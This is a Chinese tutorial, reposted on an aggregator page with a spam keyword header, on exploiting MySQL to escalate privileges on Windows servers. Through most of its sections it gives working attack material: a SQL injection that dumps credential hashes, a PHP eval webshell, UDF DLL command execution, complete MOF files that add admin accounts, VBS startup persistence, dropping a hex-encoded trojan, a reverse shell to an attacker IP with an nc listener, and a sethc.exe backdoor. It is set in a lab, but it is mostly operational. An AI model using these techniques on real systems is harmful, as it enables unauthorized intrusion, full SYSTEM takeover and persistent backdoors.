日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 运维知识 > 数据库 >内容正文

数据库

详述MySQL服务在渗透测试中的利用

發布時間:2023/12/29 数据库 24 豆豆
生活随笔 收集整理的這篇文章主要介紹了 详述MySQL服务在渗透测试中的利用 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.


本文作者:i春秋簽約作家——Binghe

致力于書寫ichunqiu社區歷史上最長篇最細致最真實的技術復現文章。

文章目錄:

  • MySQL之UDF提權
  • MySQL之MOF提權
  • MySQL之常規寫啟動項提權
  • 導出木馬到啟動項提權
  • 反彈端口提權
  • MySQL提權綜合姿勢

part1 mysql之UDF提權

首先什么是UDF?

UDF為`User Defined Function`-用戶自定義函數,也就是支持用戶自定義函數的功能。看這個名字應該就理解了一半了。

MySQL是最流行的開放源碼SQL數據庫管理系統,相對于Oracle,DB2等大型數據庫系統,MySQL由于其開源性、易用性、穩定性等特點,受到個人使用者、中小型企業甚至一些大型企業的廣泛歡迎。并且MySQL 有很多內置函數提供給使用者,包括字符串函數、數值函數、日期和時間函數等,給開發人員和使用者帶來了很多方便。雖然MySQL 的內置函數雖然豐富,但畢竟不能滿足所有人的需要,有時候我們需要對表中的數據進行一些處理而內置函數不能滿足需要的時候,就需要對 MySQL 進行一些擴展,這就是可以自行添加的MySQL 的 UDF。

0x01 MySQL信息收集

mysql中支持UDF擴展 ,使得我們可以調用DLL里面的函數來實現一些特殊的功能。

假設存在了對應的用于創建用戶自定義函數的dll文件,如`udf.dll`,我們暫且不討論dll文件的路徑問題,通過dll文件來創建用戶自定義函數(如`cmdshell`),要使用以下mysql語句:

create function cmdshell returns string soname 'udf.dll';

當然最值得注意的是MySQL對于用于UDF的dll文件路徑也是有具體限制的,MYSQL的各個版本各有不同。 下面記錄一下:

- 在MYSQL 4.1以前的版本中,可以將所有的DLL文件里面的任何函數都注冊到MYSQL里面以供MYSQL調用。

- 在MYSQL 4.1-MySQL5.1的版本中,對注冊的DLL的位置有了限制,創建函數的時候,所對應的DLL不能包含`/`或者`\`,簡單的理解就是不能是絕對路徑。所以我們將DLL釋放到system32目錄,來跳過這個限制,或者放到盤符的根目錄下通過`c:udf.dll`這種形式的寫法來跳過限制。其實只要把dll放到`PATH`這個環境變量所表示的任何一個目錄下面,效果跟放到系統`system32`目錄下面一樣,以下幾個創建函數的語句都是正確的:

create function cmdshell returns string soname 'udf.dll'; //假設此時udf.dll被上傳到了c:\windows\system32目錄create function cmdshell returns string soname 'C:udf.dll'; //假設此時udf.dll被上傳到了C盤根目錄目錄create function cmdshell returns string soname 'udf.dll'; //假設此時udf.dll被上傳到了任意的環境變量目錄,如C:\php\

- MYSQL5.1及之后的幾個版本又多了一個限制:創建函數時所用的DLL只能放在mysql的plugin目錄里面,而且這個plugin目錄默認是不存在的,可能就是為了防止黑客通過導出文件的方式將DLL來寫到這個文件夾,如果導出文件(`into dumpfile`)的目標目錄不存在是會報錯的。

**所以在導出UDF提權之前 ,先確定一下MYSQL的版本是有必要的**。

我們需要在實際的實戰中體會一下。首先假設我們通過前期的滲透測試得到了目標機的一些信息:

sql注入點一枚:

http://172.16.12.2/dwva/vulnerabilities/sqli/test.php?id=1

通過報錯或者讀取phpinfo等方式取得目標機的web根目錄為:c:\www\

根據我們之前講的sql注入相關知識,我們嘗試通過以下語句讀取數據庫用戶相關信息:

http://172.16.12.2/dwva/vulnerabilities/sqli/test.php?id=-1 union select concat(host,0x7c,user,0x7c,password),2,3 from mysql.user where host = 'localhost'#

>我們把參數從1改為-1是為了防止當前查詢的返回結果影響我們到時候提取指定文本。

>`concat()`函數把多個需要查詢的字段放在一起

>`0x7c`是`|`符號的16進制轉碼結果,有利于我們到時候把字段區分開。

我們得到以下具體信息:

localhost|root|*81F5E21E35407D884A6CD4A731AEBFB6AF209E1B

如此得知本地主機`localhost`的`root`賬戶的密碼hash是`*81F5E21E35407D884A6CD4A731AEBFB6AF209E1B`。

滲透測試中,我們可以通過`cmd5.com`的大型hash破解平臺來破解密碼,我們這里通過線上破解得知,此hash對應的密碼值為`root`.

其實滲透測試中我們還可以通過爆破或者文件包含讀取亦或是備份文件下載等方式得到目標機的MySQL服務相關登錄信息。

然后我們嘗試在這里寫一個一句話webshell到服務器,一句話木馬樣本如下:

<?php @eval($_POST['pass']);?>

我們在火狐瀏覽器的HackBar插件把上述一句話木馬轉換為16進制,目的是避免特殊字符的轉義導致語句不能正確執行:

?

如圖,一句話木馬加密后的結果為:

3c3f70687020406576616c28245f504f53545b2770617373275d293b3f3e

然后在注入點構造以下語句把一句話導出到`c:/www/small.php`,我們在一句話木馬的16進制字符前加了`0x`(此為16進制標識符):

http://172.16.12.2/dwva/vulnerabilities/sqli/test.php?id=-1 union select 0x3c3f70687020406576616c28245f504f53545b2770617373275d293b3f3e,2,3 into dumpfile 'c:/www/small.php'

?

以上語句連續執行兩次,如果出現以下錯誤,即說明文件寫入成功:

Invalid Query:File 'c:/www/small.php' already exists


//第二次寫入提示文件已存在則說明文件寫入成功

我們嘗試使用中國菜刀連接一句話木馬,并使用中國菜刀的數據庫管理功能來嘗試UDF提權。在中國菜刀的數據庫管理功能頁面上方輸入以下語句并執行,查看數據庫版本信息:

select version();

?

這里我們得知,服務器的MySQL版本為`5.5.40`

0x02 導出DLL文件

MYSQL5.1及之后的幾個版本又多了一個限制:創建函數時所用的DLL只能放在mysql的plugin目錄里面,而且這個plugin目錄默認是不存在的,可能就是為了防止黑客通過導出文件的方式將DLL來寫到這個文件夾,如果導出文件(`into dumpfile`)的目標目錄不存在是會報錯的。

使用以下語句查詢MySQL的安裝根目錄:

select @@basedir;

如上圖我們得知目標服務器的MySQL的安裝根目錄為:

C:/Program Files/phpStudy/MySQL/

根據 我們前面講述的MySQL5.1版本及其之后版本,我們自定義函數需要用到的shell導出的目錄應該是:

C:/Program Files/phpStudy/MySQL/lib/plugin/

其實也可以通過以下語句獲得插件目錄(并不一定真實存在):

show variables like '%plugin%';

然后我們找個任意的可上傳目錄把我們準備的`udf.dll`上傳。

假設`udf.dll`上傳后在服務器的絕對路徑為:c:/www/udf.dll

然后我們通過以下方式把上傳的文件以繼承MySQL的權限導出到plugin目錄,執行以下語句:

select load_file('C:/www/udf.dll') into dumpfile 'C:/Program Files/phpStudy/MySQL/lib/plugin/udf.dll';

執行該語句之后,我們發現返回為空,可能是導出文件不成功,或者是plugin目錄不存在,我們通過菜刀的文件管理查看得知,plugin目錄不存在:

但是我們仍有辦法通過MySQL語句來建立文件夾,方法是通過NTFS ADS流來建立文件夾,但是成功率不太高。

執行以下sql語句來創建`lib`目錄:

select 'test' into dumpfile 'C:/Program Files/phpStudy/MySQL/lib::INDEX_ALLOCATION';? ?


//利用NTFS ADS創建lib目錄

再執行以下sql語句來創建`plugin`目錄:

select 'test' into dumpfile 'C:/Program Files/phpStudy/MySQL/lib/plugin::INDEX_ALLOCATION';


//利用NTFS ADS創建plugin目錄

利用NTFS ADS創建目錄成功率很小,這個命令執行返回一直為空,二次執行不提示目錄已存在,即可判斷目錄創建失敗。如上圖即目錄創建失敗。

我們嘗試碰碰運氣,直接用php來創建plugin目錄(先切換到`C:\Program Files\phpStudy\MySQL\lib\`),一般情況下是嚴格限制了目錄權限的:

如上圖,看來我們運氣不錯,直接成功創建了plugin目錄。

接著,我們執行以下sql語句來導出`udf.dll`到`plugin`目錄:

select load_file('C:/www/udf.dll') into dumpfile 'C:/Program Files/phpStudy/MySQL/lib/plugin/udf.dll';

然后我們執行以下sql語句來通過`udf.dll`創建`shell`函數(此函數是我們上傳的`udf.dll`文件中內定的函數名,不同的dll文件中有不同的函數名):

create function shell returns string soname 'udf.dll';

?

`shell`函數用于執行系統命令,用法如下,其中的`set`是將要執行的cmd命令:

select shell('cmd','set');


//set命令用于查詢系統環境變量

如下圖,成功執行了cmd命令并獲得了返回,右擊查詢結果,選擇`文本格式顯示`可以看到更全面的返回信息:

然后我們嘗試在服務器添加一個用戶名為`ichunqiu`密碼為`ichunqiu`的賬戶:

select shell('cmd','net user ichunqiu ichunqiu /add');

接著嘗試把`ichunqiu`賬戶添加到`administrators`管理組:

select shell('cmd','net localgroup administrators ichunqiu /add');

然后查看詳細的賬戶信息,確認是否已經成功添加上賬戶和賬戶是否已經被成功添加到管理員組。如下操作:

select shell('cmd','net user ichunqiu');

?

如此,提權完畢。

提權完畢之后我們可以通過以下語句刪除相關函數以防被他人利用:

drop function shell;
//刪除函數
delete from mysql.func where name='shell';
//刪除函數

part2 學習mysql之MOF提權

0x01 準備mof文件

- **`原理解讀:`**

Windows 管理規范 (WMI) 提供了以下三種方法編譯到 WMI 存儲庫的托管對象格式 (MOF) 文件:

方法1: 運行 MOF 文件指定為命令行參數運行 Mofcomp.exe 文件。

方法2: 使用 `IMofCompiler` 接口和 `$ CompileFile `方法。

方法3: 拖放到`C:\windows\System32\Wbem\MOF` 文件夾的 MOF 文件。

Microsoft 建議您到存儲庫編譯 MOF 文件使用前兩種方法。

**`注意:`**第三種方法僅為向后兼容性與早期版本(windows2003)的 WMI 提供

下面的代碼是mof文件內容,默認添加一個`admin`的賬戶,可以自行修改(`AddUser.mof`):

#pragma namespace("\\\\.\\root\\subscription") instance of __EventFilter as $EventFilter { EventNamespace = "Root\\Cimv2"; Name = "filtP2"; Query = "Select * From __InstanceModificationEvent " "Where TargetInstance Isa \"Win32_LocalTime\" " "And TargetInstance.Second = 5"; QueryLanguage = "WQL"; };instance of ActiveScriptEventConsumer as $Consumer { Name = "consPCSV2"; ScriptingEngine = "JScript"; ScriptText = "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user admin admin /add\")"; };instance of __FilterToConsumerBinding { Consumer = $Consumer; Filter = $EventFilter; };

以下代碼內容是把`admin`賬戶添加到`administrators`組的mof文件(`AddToAdmin.mof`):

#pragma namespace("\\\\.\\root\\subscription") instance of __EventFilter as $EventFilter { EventNamespace = "Root\\Cimv2"; Name = "filtP2"; Query = "Select * From __InstanceModificationEvent " "Where TargetInstance Isa \"Win32_LocalTime\" " "And TargetInstance.Second = 5"; QueryLanguage = "WQL"; };instance of ActiveScriptEventConsumer as $Consumer { Name = "consPCSV2"; ScriptingEngine = "JScript"; ScriptText = "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe localgroup administrators admin /add\")"; };instance of __FilterToConsumerBinding { Consumer = $Consumer; Filter = $EventFilter; };

???我們一直說的MySQL的mof提權是利用上述第三種方法: 拖放到`C:\windows\System32\Wbem\MOF` 文件夾的 MOF 文件。。

0x02 嘗試mof提權

mof提權具體步驟如下:

1. 找個可寫目錄,上傳或新建mof文件

得到兩個mof文件的絕對路徑為:

C:\www\AddUser.mof
C:\www\AddToAdmin.mof



2. 執行sql導出mof文件到自定義路徑

在中國菜刀的數據庫管理功能頁執行以下語句把添加賬戶的mof文件導出到系統的mof目錄:

select load_file('C:/www/AddUser.mof') into dumpfile 'c:/windows/system32/wbem/mof/AddUser.mof';

**`注意:`**這里`C:/www/`是你上傳mof文件的隨意路徑,但后面的那個路徑`c:/windows/system32/wbem/mof/`則是固定的

然后在中國菜刀的數據庫管理功能頁執行以下語句把添加賬戶到管理員組的mof文件導出到系統的mof目錄:

select load_file('C:/www/AddToAdmin.mof') into dumpfile 'c:/windows/system32/wbem/mof/AddToAdmin.mof';

導出成功之后系統就會執行mof文件里的cmd命令,稍等片刻我們使用中國菜刀的虛擬終端功能查看是否成功添加了用戶,

執行net user admin看下用戶

如上圖可見,沒有再循環添加用戶,即我們終結循環的方法奏效了。

`C:\WINDOWS\system32\wbem\Repository\`放的是儲存庫 我們執行的`.mof`都會被加入到這個庫了。然后一直按腳本設置的時間執行。刪除后服務,重新啟動會重建個默認儲存庫,這樣我們先前執行`mof`就沒了。

part3 常規寫啟動項提權?

逐次執行以下語句,往啟動項寫入vbs:

create table a (cmd text);

insert into a values ("set wshshell=createobject (""wscript.shell"" ) " );

insert into a values ("a=wshshell.run (""cmd.exe /c net user admin$ 123456 /add"",0) " );
//添加賬戶
insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup Administrators admin$ /add"",0) " );
//添加到管理員組

然后我們執行select * from a;查看是否成功寫入了表:


?然后執行:

select * from a into outfile 'C:\\Documents and Settings\\All Users\\「開始」菜單\\程序\\啟動\\test.vbs'; //導出到啟動項 select load_file("c:\\docume~1\\alluse~1\\「開始」菜單\\程序\\啟動\\test.vbs");//讀取啟動項該文件,判斷是否寫入
右鍵結果以`文本格式顯示`,我們得到以下內容:


????
?

通過中國菜刀的文件管理功能也可查看文件是否寫入成功,是否存在語法錯誤:
?


??
? 于是我們得知,此vbs腳本文件已經被成功寫到了目標機的啟動項,只要目標機重啟,就會運行該命令添加我們預設的賬戶。只是此方法有些被動。

我們在本機測試下此VBS文件是否可用,復制上述的查詢結果,在桌面保存為1.vbs,然后雙擊執行,vbs文件運行很有隱蔽性,基本看不到彈窗:
?



net user admin$

??

?

先在webshell里連接上數據庫,建立表,將VBS寫入表里,然后導入啟動項,??如果UDF提權不行的話也可以嘗試下這個方法,前提是要有ROOT權限,后面有個,0表示不彈出CMD窗口,安靜的運行。?

part 4 導出木馬到啟動項提權

此處方法同樣適用于沒有shell的情況,外聯MySQL操作。

假如我們掃到了一個mysql的root弱密碼,并且可以外連,但是服務器上面的網站又無法Getshell,這時我們怎么辦呢?

我們講過相關的木馬實驗,如灰鴿子之類的遠控木馬,此處假設,我們已經配置好相關參數,并生成了木馬在本地的`c:\server.exe`:

先在命令行下切換到本地`mysql.exe`的絕對路徑:
如:
cd C:\Program Files\phpStudy\MySQL\bin

執行以下語句登入本地的MySQL服務(用于在本地生成木馬的16進制),輸入密碼root登入:

mysql.exe -h 127.0.0.1 -u root -p

登入成功之后,我們嘗試通過mysql寫出我們上述的木馬`c:\server.exe`的16進制數據到`c:\hex.txt`:

select hex(load_file('c:/server.exe')) into dumpfile 'c:/hex.txt';

然后打開`c:\hex.txt`可看到上述的木馬`c:\server.exe`的16進制數據:

?


?
?

如此得到了木馬的16進制數據,接著我們登錄目標服務器的MySQL服務。

利用`mysql.exe`數據庫管理工具連接mysql服務器,然后執行下面的操作。

中國菜刀支持mysql語句執行,但是有語句長度限制。

先在MySQL命令行輸入`exit`退出當前會話,然后執行以下語句登錄目標服務器的MySQL服務:

mysql.exe -h 172.16.12.2 -u root -p

輸入密碼并登陸:
??

??然后我們構造以下語句寫出木馬文件到目標機的啟動項:

select 0x木馬的16進制 into dumpfile 'C:\\Documents and Settings\\All Users\\「開始」菜單\\程序\啟動\\server.exe';

**`注意:`**請替換上述命令中的字符串`木馬的16進制`為我們之前生成的`c:\hex.txt`文件內容,復制過去替換即可:

稍等命令行加載16進制木馬數據,加載好之后是這樣:
?

?
????

回車執行即可把木馬文件導出到目標機的啟動項。

其實我們也可以通過如下操作寫出木馬文件:

create table a (cmd BLOB);? ?? ???//建表用于存儲數據
insert into a values (CONVERT(木馬的16進制代碼,CHAR));
//寫入數據
select * from a into dumpfile 'C:\\Documents and Settings\\All Users\\「開始」菜單\\程序\啟動\\mm.exe';
//導出數據到啟動項
drop table a;? ?? ???//刪除表

此處作為一種思路,局限性也比較大,比較被動。必須目標機重啟才能執行我們的遠控木馬。用于沒有拿到webshell、UDF和MOF提權都失敗的情況。

part5 反彈端口提權

我們這里用的其實也是基于UDF自定義函數的思路,我們為了方便,直接把sql語句放在txt文件里,然后其后通過mysql批量執行,假設命令存儲的在`mysql.txt`。

我們需要打開`mysql.txt`,根據目標機情況修改相關語句,文件內容最下方原本是這個樣子:
??
??

?

大家可以看到,上述的步驟其實也是創建函數的過程,根據我們前面`UDF提權實驗`的相關知識,我們主要對文件做以下修改:

我們此前已經得知了插件目錄,可以通過以下語句獲得插件目錄(并不一定真實存在):

show variables like '%plugin%';

將上述`mysql.txt`文件內容語句中的

select data from Ghost into DUMPFILE 'c:\\windows\\system32\\udf.dll';

修改為:

select data from Ghost into DUMPFILE 'C:/Program Files/phpStudy/MySQL/lib/plugin/hack.dll';

這里作此修改是由于MySQL高版本的用戶自定義函數加載dll文件的路徑限制。

再將上述`mysql.txt`文件內容語句中的

CREATE FUNCTION backshell RETURNS STRING SONAME 'udf.dll';

修改為:

CREATE FUNCTION backshell RETURNS STRING SONAME 'hack.dll';

最后文件內容如下圖:

???然后我們把修改好的`mysql.txt`放到c:/mysql.txt

利用`mysql.exe`數據庫管理工具連接mysql服務器,然后執行下面的操作。

中國菜刀不支持交互式的mysql語句執行。如果你不嫌麻煩,可以嘗試在中國菜刀里一句一句的執行`mysql.txt`中的語句。但是仍有語句長度限制。

cd C:\Program Files\phpStudy\MySQL\bin

mysql.exe -h 172.16.12.2 -u root -p

\. c:/www/mysql.txt;

????

很遺憾,批量執行沒有成功,那么還可以嘗試依次執行`mysql.txt`里的語句,但是可能目標服務器做了限制,還是沒有成功:
???


??

??

??如上圖可見,語句復制過去,命令行只能接收一部分,看來是語句限制的問題,我們的dll的16進制數據太長。

那么即便如此,我們還是有辦法解決,我們嘗試通過中國菜刀上傳這個將要導出的dll文件(上述辦法在沒有shell的情況下基本無解),假設文件上傳在:c:\www\hack.dll

如此導出udf需要的dll:

select load_file('C:/www/hack.dll') into dumpfile 'C:/Program Files/phpStudy/MySQL/lib/plugin/hack.dll';

創建backshell函數:

CREATE FUNCTION backshell RETURNS STRING SONAME 'hack.dll';

執行函數測試:

select backshell('');

? ??

??

???得到如下使用提示:

反彈shell.
例:select backshell("your IP",your port);

如此完全說明自定義函數創建成功且可用。

執行函數制定目標進行反彈:

select backshell("172.16.11.2",2010);

?????
??


1. 本地用NC監聽你反彈的端口

nc.exe -vv -l -p 2010

如果nc沒有反應,就在shell上面再執行一遍反彈的sql語句:
??


??

如上圖,成功接收到了反彈信息,嘗試執行whoami:

?
??
???我們可以看到,當前權限已經依靠MySQL服務提升到了最高權限`SYSTEM`.

此處也作為一種思路,用于UDF沒有成功取得cmdshell和MOF提權都失敗的情況。

此類方法還有創建操作注冊表的相關函數,如`regwrite`,我僅作科普,在后面的實驗中可能會講到,以下是利用注冊表映像劫持,安裝shift后門:

Create Function regwrite returns string soname ‘udf.dll’

select regwrite("HKEY_LOCAL_MACHINE","SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\sethc.exe","debugger","REG_SZ","C:\\recycler\\cmd.exe");

part6 MySQL提權綜合姿勢

0x01 MySQL自動化提權

當然啦,再強大的自動化工具也只是輔助。

無論是技術、工具,本質都是人為的,工具只是提供便利。

小編根據UDF提權原理、寫啟動項提權原理、MOF提權原理,寫了個python腳本,在桌面的`tools`目錄的`mysql.py`。

`腳本依賴pymysql模塊,我已經在操作機里面安裝好環境依賴。`

我們先來看下腳本的功能和使用方法:

**功能:**

執行成功會返回如下信息和內置的cmd命令返回:??
???

BingheSec Mysql Promote Privileges Tool????????????????? Usage as: sec.py host port user pass Example: sec.py 192.168.1.6 3306 root 123456 Current connection: 172.16.12.2:3306/root/root Mysql Version is 5.5.40 Mysql Version>5.0 , UDF dll can only dump to plugin dir! Mysql RootPath : C:/Program Files/phpStudy/MySQL/ UDF DLL PATH : C:/Program Files/phpStudy/MySQL/lib/plugin/BingheSec.dll UDf will add the user 'guest' to admin with the pass 789456123+abc The sql of Dumping AddUser And AddToAdmin MOF File has queried OK. Press shift 5 times then press 1,2 at the same time to start the lpk UI,pass:bin ghesec Mof/LPK will add? users named BingheSec$/admin$ with password: 789456123+abc Mof file only fit for windows2003,please test it yourself! The directory /lib/plugin has made successfully! Command Query Result: ---------------------------------------Microsoft Windows [版本 5.2.3790] nt authority\system

????


1. 自動導出mof文件,

2. 自動判斷mysql版本,根據版本不同導出UDF的DLL到不同目錄,UDF提權

3. 導出LPK.dll文件,劫持系統目錄提權

4. 寫啟動項有問題,已經注釋掉

**用法:**

python mysql.py 目標機ip mysql端口 mysql賬戶 mysql密碼

我們來實際測試一下,如圖:

python mysql.py 172.16.12.2 3306 root root

?
??
?????

如上圖,可以看到提權成功,返回了一些我們內置的命令,看看到了服務器的一些敏感信息。

其實UDF函數執行的是下圖中圈中的cmd命令,大家修改該部分命令再執行,命令即會在目標機被執行:
??????


???如上圖我們把命令部分修改為:

ver&whoami&net user
//查詢系統版本、當前權限、用戶情況

在執行該腳本:
?



???如下圖很快得到了我們想要的信息:

Microsoft Windows [版本 5.2.3790]
nt authority\system

\\ 的用戶帳戶
--------------------------------------------
Administrator? ?? ?? ?? ?ASPNET? ?? ?? ?? ?? ?? ? Guest
IUSR_V5EST0RD0BE? ?? ?? ?IWAM_V5EST0RD0BE? ?? ?? ?SUPPORT_388945a0
命令運行完畢,但發生一個或多個錯誤。

可以看到,我們當前已經是`nt authority\system`,最高權限。

0x02 外聯配合遠控

我們拋磚引玉,假設這樣一種情況:掃到mysql弱口令,沒拿到shel,可udf,但是目標處于內網,我們連接不上遠程桌面。

這樣的情況如何解決呢?聰明的你一定想到了,這很簡單:利用我們前面的知識:導出16進制木馬到目標服務器,在利用udf執行我們導出的遠控木馬。

那么看如何操作(詳細的導馬步驟請參考上述的`MySQL導出木馬到啟動項提權`章節):

假設灰鴿子之類的遠控木馬已經生成在本地的`c:\server.exe`:

我們參考上述的`MySQL導出木馬到啟動項提權`章節,通過mysql寫出我們上述的木馬`c:\server.exe`的16進制數據到`c:\hex.txt`:

打開`c:\hex.txt`可看到上述的木馬`c:\server.exe`的16進制數據:
?


?

???利用`mysql.exe`數據庫管理工具連接mysql服務器,然后執行下面的操作。

先在命令行下切換到本地`mysql.exe`的絕對路徑:

cd C:\Program Files\phpStudy\MySQL\bin

mysql.exe -h 172.16.12.2 -u root -p

然后我們構造以下語句寫出木馬文件到目標機的C盤根目錄:

select 0x木馬的16進制 into dumpfile 'C:\\server.exe';

**`注意:`**請替換上述命令中的字符串`木馬的16進制`為我們之前生成的`c:\hex.txt`文件內容,復制過去替換即可:

等待命令行加載16進制木馬數據,回車執行即可把木馬文件導出到目標機的啟動項。
??




??

如上圖,sql命令執行成功,此時server.exe已經在目標機的C盤根目錄了。
但是,同學會問,如何執行木馬呢? 當然是通過UDF調用cmd了。
為了方便,我們直接結合上面的自動化提權相關知識,替換相關的cmd語句執行木馬:
?



?

如上圖,我們把cmd命令部分替換為如下:

c:/server.exe

然后在到工具目錄打開cmd執行以下命令調用腳本執行木馬:

python mysql.py 172.16.12.2 3306 root root

? ?
??

?如上圖,由于程序正在執行木馬,有些延遲,有經驗的人都知道,木馬執行沒有回顯,執行木馬時會卡頓一下。

如此是繼承`SYSTEM`權限執行的木馬,得到的遠控服務端也將是`SYSTEM`權限。

最后說兩點:

1. 富文本編輯器簡直就是垃圾,抓狂到我差點砸了電腦,這篇文章排版我排了4小時一直到凌晨--MarkDown才是王道,美感源于簡單自然。

2. 文章中有些腳本或文件具有攻擊性,故沒有放出來,有需要測試的同學可以私信聯系我提供,我以往的帖子也有提及。

轉載于:https://www.cnblogs.com/ichunqiu/p/7383094.html

總結

以上是生活随笔為你收集整理的详述MySQL服务在渗透测试中的利用的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。